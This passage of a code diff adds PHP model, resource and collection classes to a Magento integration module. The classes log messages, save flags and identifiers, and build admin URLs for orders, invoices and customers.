20 |
+
protected function _validate(Ampersand_Map_XmlElement $map, $input)
|
21 |
+
{
|
22 |
+
if ($map->hasChildren() && !$map->hasChild('_path')) {
|
23 |
+
throw new Ampersand_Map_Exception('Path node is missing');
|
24 |
+
}
|
25 |
+
|
26 |
+
return $this;
|
27 |
+
}
|
28 |
+
|
29 |
+
protected function _getSubject(Ampersand_Map_XmlElement $map, $input)
|
30 |
+
{
|
31 |
+
return 'Mage';
|
32 |
+
}
|
33 |
+
|
34 |
+
protected function _getMethodName(Ampersand_Map_XmlElement $map)
|
35 |
+
{
|
36 |
+
return 'getStoreConfig';
|
37 |
+
}
|
38 |
+
|
39 |
+
protected function _getParams(Ampersand_Map_XmlElement $map)
|
40 |
+
{
|
41 |
+
$params = array($this->_getPath($map));
|
42 |
+
|
43 |
+
if ($map->hasChild('_store')) {
|
44 |
+
$params[] = $map->getChild('_store')->getValue();
|
45 |
+
}
|
46 |
+
|
47 |
+
return $params;
|
48 |
+
}
|
49 |
+
|
50 |
+
protected function _getPath(Ampersand_Map_XmlElement $map)
|
51 |
+
{
|
52 |
+
if ($map->hasChildren()) {
|
53 |
+
return $map->getChild('_path')->getValue();
|
54 |
+
}
|
55 |
+
|
56 |
+
return $map->getValue();
|
57 |
+
}
|
58 |
+
}
|
app/code/core/Ampersand/Integration/Model/Message.php
ADDED
@@ -0,0 +1,128 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Message extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
const DIRECTION_INCOMING = 1;
|
21 |
+
const DIRECTION_OUTGOING = 2;
|
22 |
+
|
23 |
+
protected function _construct()
|
24 |
+
{
|
25 |
+
$this->_init('ampersand_integration/message');
|
26 |
+
}
|
27 |
+
|
28 |
+
public function getService()
|
29 |
+
{
|
30 |
+
if (!$this->hasData('service') && $this->getServiceId()) {
|
31 |
+
$service = Mage::getModel('ampersand_integration/service_info')
|
32 |
+
->load($this->getServiceId());
|
33 |
+
$this->setService($service);
|
34 |
+
}
|
35 |
+
|
36 |
+
return $this->getData('service');
|
37 |
+
}
|
38 |
+
|
39 |
+
public function getLogXmlObject()
|
40 |
+
{
|
41 |
+
if ($filePath = $this->getFullLogFilePath()) {
|
42 |
+
try {
|
43 |
+
$xmlObject = Ampersand_Xml::factory($filePath, true);
|
44 |
+
} catch (Exception $e) {
|
45 |
+
$xmlObject = false;
|
46 |
+
}
|
47 |
+
} else {
|
48 |
+
$xmlObject = false;
|
49 |
+
}
|
50 |
+
|
51 |
+
return $xmlObject;
|
52 |
+
}
|
53 |
+
|
54 |
+
public function getFullLogFilePath()
|
55 |
+
{
|
56 |
+
if (!$logFilePath = $this->getLogFilePath()) {
|
57 |
+
return null;
|
58 |
+
}
|
59 |
+
|
60 |
+
return $this->getLogFileBaseDirectoryPath() . DS . $logFilePath;
|
61 |
+
}
|
62 |
+
|
63 |
+
public function getLogFileBaseDirectoryPath()
|
64 |
+
{
|
65 |
+
return Mage::getSingleton('ampersand_integration/logger_file')->getBaseDirectoryPath();
|
66 |
+
}
|
67 |
+
|
68 |
+
protected function _beforeSave()
|
69 |
+
{
|
70 |
+
$this->setData('direction', $this->_prepareDirectionForSave($this->getData('direction')));
|
71 |
+
|
72 |
+
return parent::_beforeSave();
|
73 |
+
}
|
74 |
+
|
75 |
+
protected function _prepareDirectionForSave($direction)
|
76 |
+
{
|
77 |
+
switch ($direction) {
|
78 |
+
case Ampersand_Integration_Message_Incoming::INCOMING:
|
79 |
+
$direction = self::DIRECTION_INCOMING;
|
80 |
+
break;
|
81 |
+
case Ampersand_Integration_Message_Outgoing::OUTGOING:
|
82 |
+
$direction = self::DIRECTION_OUTGOING;
|
83 |
+
break;
|
84 |
+
}
|
85 |
+
|
86 |
+
return $direction;
|
87 |
+
}
|
88 |
+
|
89 |
+
protected function _afterSave()
|
90 |
+
{
|
91 |
+
$this->_saveFlags();
|
92 |
+
$this->_saveIdentifiers();
|
93 |
+
|
94 |
+
return parent::_afterSave();
|
95 |
+
}
|
96 |
+
|
97 |
+
protected function _saveFlags()
|
98 |
+
{
|
99 |
+
if (!$this->getFlags()) {
|
100 |
+
return;
|
101 |
+
}
|
102 |
+
|
103 |
+
foreach ($this->getFlags() as $_flag) {
|
104 |
+
Mage::getModel('ampersand_integration/flag')
|
105 |
+
->fromFlag($_flag)
|
106 |
+
->setServiceId($this->getServiceId())
|
107 |
+
->setMessageId($this->getId())
|
108 |
+
->save()
|
109 |
+
;
|
110 |
+
}
|
111 |
+
}
|
112 |
+
|
113 |
+
protected function _saveIdentifiers()
|
114 |
+
{
|
115 |
+
if (!$this->getIdentifiers()) {
|
116 |
+
return;
|
117 |
+
}
|
118 |
+
|
119 |
+
foreach ($this->getIdentifiers() as $_identifier) {
|
120 |
+
Mage::getModel('ampersand_integration/message_identifier')
|
121 |
+
->fromIdentifier($_identifier)
|
122 |
+
->setServiceId($this->getServiceId())
|
123 |
+
->setMessageId($this->getId())
|
124 |
+
->save()
|
125 |
+
;
|
126 |
+
}
|
127 |
+
}
|
128 |
+
}
|
app/code/core/Ampersand/Integration/Model/Message/Filter/CompressDirectory.php
ADDED
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Message_Filter_CompressDirectory
|
19 |
+
extends Ampersand_Integration_Message_Filter_CompressDirectory
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Gets the default directory to write files to
|
23 |
+
*
|
24 |
+
* @return string
|
25 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
26 |
+
*/
|
27 |
+
protected function _getDefaultWriteDirectory()
|
28 |
+
{
|
29 |
+
return Mage::getBaseDir('var') . DS . 'archives';
|
30 |
+
}
|
31 |
+
}
|
app/code/core/Ampersand/Integration/Model/Message/Identifier.php
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Message_Identifier extends Ampersand_Core_Model_Abstract
|
19 |
+
{
|
20 |
+
const TYPE_GLUE = '/';
|
21 |
+
|
22 |
+
protected function _construct()
|
23 |
+
{
|
24 |
+
$this->_init('ampersand_integration/message_identifier');
|
25 |
+
}
|
26 |
+
|
27 |
+
public function fromIdentifier(Ampersand_Integration_Identifier_IdentifierInterface $identifier)
|
28 |
+
{
|
29 |
+
$this->addData($identifier->getData());
|
30 |
+
|
31 |
+
$this->setType($identifier->getType());
|
32 |
+
$this->setName($identifier->getName());
|
33 |
+
$this->setValue($identifier->getValue());
|
34 |
+
$this->setIdentifiers($identifier->getIdentifiers());
|
35 |
+
$this->setState($identifier->getState());
|
36 |
+
$this->setFlags($identifier->getFlags());
|
37 |
+
|
38 |
+
return $this;
|
39 |
+
}
|
40 |
+
|
41 |
+
public function getRedirectUrl()
|
42 |
+
{
|
43 |
+
return Mage::helper('adminhtml')->getUrl(
|
44 |
+
'ampersand_integration_admin/messageIdentifier/redirect',
|
45 |
+
array(
|
46 |
+
'_current' => true,
|
47 |
+
'id' => $this->getId(),
|
48 |
+
)
|
49 |
+
);
|
50 |
+
}
|
51 |
+
|
52 |
+
public function getEntityUrl()
|
53 |
+
{
|
54 |
+
$url = null;
|
55 |
+
|
56 |
+
switch ($this->getEntityType()) {
|
57 |
+
case 'order':
|
58 |
+
case 'sales/order':
|
59 |
+
$url = $this->getOrderUrl();
|
60 |
+
break;
|
61 |
+
|
62 |
+
case 'shipment':
|
63 |
+
case 'sales/order_shipment':
|
64 |
+
case 'sales/shipment':
|
65 |
+
$url = $this->getShipmentUrl();
|
66 |
+
break;
|
67 |
+
|
68 |
+
case 'sales/order_invoice':
|
69 |
+
$url = $this->getInvoiceUrl();
|
70 |
+
break;
|
71 |
+
|
72 |
+
case 'sales/order_creditmemo':
|
73 |
+
$url = $this->getCreditmemoUrl();
|
74 |
+
break;
|
75 |
+
|
76 |
+
case 'product':
|
77 |
+
case 'catalog/product':
|
78 |
+
$url = $this->getProductUrl();
|
79 |
+
break;
|
80 |
+
|
81 |
+
case 'customer':
|
82 |
+
case 'customer/customer':
|
83 |
+
$url = $this->getCustomerUrl();
|
84 |
+
break;
|
85 |
+
|
86 |
+
default:
|
87 |
+
$url = null;
|
88 |
+
break;
|
89 |
+
}
|
90 |
+
|
91 |
+
return $url;
|
92 |
+
}
|
93 |
+
|
94 |
+
public function getEntityDescription()
|
95 |
+
{
|
96 |
+
|
97 |
+
}
|
98 |
+
|
99 |
+
public function getEntityType()
|
100 |
+
{
|
101 |
+
$parts = explode(self::TYPE_GLUE, $this->getType());
|
102 |
+
array_pop($parts);
|
103 |
+
|
104 |
+
return implode(self::TYPE_GLUE, $parts);
|
105 |
+
}
|
106 |
+
|
107 |
+
public function getEntityField()
|
108 |
+
{
|
109 |
+
$parts = explode(self::TYPE_GLUE, $this->getType());
|
110 |
+
|
111 |
+
return array_pop($parts);
|
112 |
+
}
|
113 |
+
|
114 |
+
public function getOrderUrl()
|
115 |
+
{
|
116 |
+
switch ($this->getEntityField()) {
|
117 |
+
case 'entity_id':
|
118 |
+
$orderId = $this->getName();
|
119 |
+
break;
|
120 |
+
|
121 |
+
default:
|
122 |
+
$orderId = Mage::getModel('sales/order')
|
123 |
+
->loadByAttribute($this->getEntityField(), $this->getName())
|
124 |
+
->getId();
|
125 |
+
if (!$orderId) {
|
126 |
+
return null;
|
127 |
+
}
|
128 |
+
break;
|
129 |
+
}
|
130 |
+
|
131 |
+
return Mage::helper('adminhtml')->getUrl('adminhtml/sales_order/view', array(
|
132 |
+
'order_id' => $orderId,
|
133 |
+
));
|
134 |
+
}
|
135 |
+
|
136 |
+
public function getShipmentUrl()
|
137 |
+
{
|
138 |
+
switch ($this->getEntityField()) {
|
139 |
+
case 'entity_id':
|
140 |
+
$shipmentId = $this->getName();
|
141 |
+
break;
|
142 |
+
|
143 |
+
default:
|
144 |
+
$shipmentId = Mage::getModel('sales/order_shipment')
|
145 |
+
->load($this->getName(), $this->getEntityField())
|
146 |
+
->getId();
|
147 |
+
if (!$shipmentId) {
|
148 |
+
return null;
|
149 |
+
}
|
150 |
+
break;
|
151 |
+
}
|
152 |
+
|
153 |
+
return Mage::helper('adminhtml')->getUrl('adminhtml/sales_shipment/view', array(
|
154 |
+
'shipment_id' => $shipmentId,
|
155 |
+
));
|
156 |
+
}
|
157 |
+
|
158 |
+
public function getInvoiceUrl()
|
159 |
+
{
|
160 |
+
switch ($this->getEntityField()) {
|
161 |
+
case 'entity_id':
|
162 |
+
$invoiceId = $this->getName();
|
163 |
+
break;
|
164 |
+
|
165 |
+
default:
|
166 |
+
$invoiceId = Mage::getModel('sales/order_invoice')
|
167 |
+
->load($this->getName(), $this->getEntityField())
|
168 |
+
->getId();
|
169 |
+
if (!$invoiceId) {
|
170 |
+
return null;
|
171 |
+
}
|
172 |
+
break;
|
173 |
+
}
|
174 |
+
|
175 |
+
return Mage::helper('adminhtml')->getUrl('adminhtml/sales_invoice/view', array(
|
176 |
+
'invoice_id' => $invoiceId,
|
177 |
+
));
|
178 |
+
}
|
179 |
+
|
180 |
+
public function getCreditmemoUrl()
|
181 |
+
{
|
182 |
+
switch ($this->getEntityField()) {
|
183 |
+
case 'entity_id':
|
184 |
+
$creditmemoId = $this->getName();
|
185 |
+
break;
|
186 |
+
|
187 |
+
default:
|
188 |
+
$creditmemoId = Mage::getModel('sales/order_creditmemo')
|
189 |
+
->load($this->getName(), $this->getEntityField())
|
190 |
+
->getId();
|
191 |
+
if (!$creditmemoId) {
|
192 |
+
return null;
|
193 |
+
}
|
194 |
+
break;
|
195 |
+
}
|
196 |
+
|
197 |
+
return Mage::helper('adminhtml')->getUrl('adminhtml/sales_creditmemo/view', array(
|
198 |
+
'creditmemo_id' => $creditmemoId,
|
199 |
+
));
|
200 |
+
}
|
201 |
+
|
202 |
+
public function getProductUrl()
|
203 |
+
{
|
204 |
+
switch ($this->getEntityField()) {
|
205 |
+
case 'entity_id':
|
206 |
+
$productId = $this->getName();
|
207 |
+
break;
|
208 |
+
|
209 |
+
default:
|
210 |
+
$product = Mage::getModel('catalog/product')
|
211 |
+
->loadByAttribute($this->getEntityField(), $this->getName());
|
212 |
+
if (!$product || !($productId = $product->getId())) {
|
213 |
+
return null;
|
214 |
+
}
|
215 |
+
break;
|
216 |
+
}
|
217 |
+
|
218 |
+
return Mage::helper('adminhtml')->getUrl('adminhtml/catalog_product/edit', array(
|
219 |
+
'id' => $productId,
|
220 |
+
));
|
221 |
+
}
|
222 |
+
|
223 |
+
public function getCustomerUrl()
|
224 |
+
{
|
225 |
+
switch ($this->getEntityField()) {
|
226 |
+
case 'email':
|
227 |
+
$customerId = Mage::getModel('customer/customer')
|
228 |
+
->setWebsiteId(Mage::app()->getStore()->getWebsiteId())
|
229 |
+
->loadByEmail($this->getName())
|
230 |
+
->getId();
|
231 |
+
if (!$customerId) {
|
232 |
+
return null;
|
233 |
+
}
|
234 |
+
break;
|
235 |
+
|
236 |
+
default:
|
237 |
+
$customerId = $this->getName();
|
238 |
+
break;
|
239 |
+
}
|
240 |
+
|
241 |
+
return Mage::helper('adminhtml')->getUrl('adminhtml/customer/edit', array(
|
242 |
+
'id' => $customerId,
|
243 |
+
));
|
244 |
+
}
|
245 |
+
|
246 |
+
protected function _afterSave()
|
247 |
+
{
|
248 |
+
$this->_saveFlags();
|
249 |
+
$this->_saveIdentifiers();
|
250 |
+
|
251 |
+
return parent::_afterSave();
|
252 |
+
}
|
253 |
+
|
254 |
+
protected function _saveFlags()
|
255 |
+
{
|
256 |
+
if (!$this->getFlags()) {
|
257 |
+
return;
|
258 |
+
}
|
259 |
+
|
260 |
+
foreach ($this->getFlags() as $_flag) {
|
261 |
+
Mage::getModel('ampersand_integration/flag')
|
262 |
+
->fromFlag($_flag)
|
263 |
+
->setServiceId($this->getServiceId())
|
264 |
+
->setMessageId($this->getMessageId())
|
265 |
+
->setIdentifierId($this->getId())
|
266 |
+
->save()
|
267 |
+
;
|
268 |
+
}
|
269 |
+
}
|
270 |
+
|
271 |
+
protected function _saveIdentifiers()
|
272 |
+
{
|
273 |
+
if (!$this->getIdentifiers()) {
|
274 |
+
return;
|
275 |
+
}
|
276 |
+
|
277 |
+
foreach ($this->getIdentifiers() as $_identifier) {
|
278 |
+
Mage::getModel('ampersand_integration/message_identifier')
|
279 |
+
->fromIdentifier($_identifier)
|
280 |
+
->setServiceId($this->getServiceId())
|
281 |
+
->setMessageId($this->getMessageId())
|
282 |
+
->setParentId($this->getId())
|
283 |
+
->setLevel(1 + $this->getLevel())
|
284 |
+
->save()
|
285 |
+
;
|
286 |
+
}
|
287 |
+
}
|
288 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Abstract.php
ADDED
@@ -0,0 +1,81 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Model_Mysql4_Abstract extends Ampersand_Core_Model_Mysql4_Abstract
|
19 |
+
{
|
20 |
+
/**
|
21 |
+
* Sets the created_at (if not already set) and updated_at values to the current GMT time in
|
22 |
+
* datetime format
|
23 |
+
*
|
24 |
+
* @param Mage_Core_Model_Abstract $object
|
25 |
+
* @return Ampersand_Integration_Model_Mysql4_Abstract
|
26 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
27 |
+
*/
|
28 |
+
protected function _beforeSave(Mage_Core_Model_Abstract $object)
|
29 |
+
{
|
30 |
+
if (!$object->getId()) {
|
31 |
+
$object->setCreatedAt(now());
|
32 |
+
}
|
33 |
+
$object->setUpdatedAt(now());
|
34 |
+
|
35 |
+
return $this;
|
36 |
+
}
|
37 |
+
|
38 |
+
/**
|
39 |
+
* Gets the id of the row which has the provided 'code' value
|
40 |
+
*
|
41 |
+
* @param string $code
|
42 |
+
* @return int
|
43 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
44 |
+
*/
|
45 |
+
public function getIdByCode($code)
|
46 |
+
{
|
47 |
+
$select = $this->getReadConnection()->select()
|
48 |
+
->from($this->getMainTable(), array($this->getIdFieldName()))
|
49 |
+
->where('code = ?', $code)
|
50 |
+
;
|
51 |
+
|
52 |
+
return $this->getReadConnection()->fetchOne($select);
|
53 |
+
}
|
54 |
+
|
55 |
+
/**
|
56 |
+
* Gets the database connection to use when writing integration-related data to the database.
|
57 |
+
* Essential to stop messages and associated rows from being rolled back when unrelated
|
58 |
+
* database transactions are rolled back, e.g. if our message is created via an order save event
|
59 |
+
* and that save transaction is subsequently rolled back
|
60 |
+
*
|
61 |
+
* @param string $connectionName
|
62 |
+
* @return Varien_Db_Adapter_Pdo_Mysql
|
63 |
+
* @author Josh Di Fabio <josh.difabio@ampersandcommerce.com>
|
64 |
+
*/
|
65 |
+
protected function _getConnection($connectionName)
|
66 |
+
{
|
67 |
+
if (!array_key_exists($connectionName, $this->_connections)) {
|
68 |
+
$registryKey = 'write_connection';
|
69 |
+
if (!Ampersand_Integration_Registry::has($registryKey)) {
|
70 |
+
$connection = $this->getNewConnection('core_write');
|
71 |
+
Ampersand_Integration_Registry::set($registryKey, $connection);
|
72 |
+
} else {
|
73 |
+
$connection = Ampersand_Integration_Registry::get($registryKey);
|
74 |
+
}
|
75 |
+
|
76 |
+
$this->_connections[$connectionName] = $connection;
|
77 |
+
}
|
78 |
+
|
79 |
+
return parent::_getConnection($connectionName);
|
80 |
+
}
|
81 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Flag.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Flag extends Ampersand_Integration_Model_Mysql4_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/flag', 'entity_id');
|
23 |
+
}
|
24 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Flag/Collection.php
ADDED
@@ -0,0 +1,85 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Flag_Collection extends Ampersand_Core_Model_Mysql4_Collection_Abstract
|
19 |
+
{
|
20 |
+
protected $_isStatusJoined = false;
|
21 |
+
protected $_isMessageJoined = false;
|
22 |
+
protected $_isIdentifierJoined = false;
|
23 |
+
|
24 |
+
protected function _construct()
|
25 |
+
{
|
26 |
+
$this->_init('ampersand_integration/flag');
|
27 |
+
}
|
28 |
+
|
29 |
+
public function joinStatus()
|
30 |
+
{
|
31 |
+
if (!$this->_isStatusJoined) {
|
32 |
+
$this->joinLeft(
|
33 |
+
'ampersand_integration/status',
|
34 |
+
'`ampersand_integration/status`.entity_id = `main_table`.status_id',
|
35 |
+
array(
|
36 |
+
'status_code' => 'code',
|
37 |
+
'status_text' => 'text',
|
38 |
+
'status_short_text' => 'short_text',
|
39 |
+
'status_type' => 'type',
|
40 |
+
)
|
41 |
+
);
|
42 |
+
|
43 |
+
$this->_isStatusJoined = $this->_preserveColumnsOnCount = true;
|
44 |
+
}
|
45 |
+
|
46 |
+
return $this;
|
47 |
+
}
|
48 |
+
|
49 |
+
public function joinMessage()
|
50 |
+
{
|
51 |
+
if (!$this->_isMessageJoined) {
|
52 |
+
$this->joinLeft(
|
53 |
+
'ampersand_integration/message',
|
54 |
+
'`ampersand_integration/message`.entity_id = `main_table`.message_id',
|
55 |
+
array(
|
56 |
+
'message_name' => 'name',
|
57 |
+
'message_direction' => 'direction',
|
58 |
+
)
|
59 |
+
);
|
60 |
+
|
61 |
+
$this->_isMessageJoined = $this->_preserveColumnsOnCount = true;
|
62 |
+
}
|
63 |
+
|
64 |
+
return $this;
|
65 |
+
}
|
66 |
+
|
67 |
+
public function joinIdentifier()
|
68 |
+
{
|
69 |
+
if (!$this->_isIdentifierJoined) {
|
70 |
+
$this->joinLeft(
|
71 |
+
'ampersand_integration/message_identifier',
|
72 |
+
'`ampersand_integration/message_identifier`.entity_id = `main_table`.identifier_id',
|
73 |
+
array(
|
74 |
+
'identifier_name' => 'name',
|
75 |
+
'identifier_type' => 'type',
|
76 |
+
'identifier_value' => 'value',
|
77 |
+
)
|
78 |
+
);
|
79 |
+
|
80 |
+
$this->_isIdentifierJoined = $this->_preserveColumnsOnCount = true;
|
81 |
+
}
|
82 |
+
|
83 |
+
return $this;
|
84 |
+
}
|
85 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Message.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Model
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Model_Mysql4_Message extends Ampersand_Integration_Model_Mysql4_Abstract
|
19 |
+
{
|
20 |
+
protected function _construct()
|
21 |
+
{
|
22 |
+
$this->_init('ampersand_integration/message', 'entity_id');
|
23 |
+
}
|
24 |
+
}
|
app/code/core/Ampersand/Integration/Model/Mysql4/Message/Collection.php
ADDED
@@ -0,0 +1,110 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Model
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
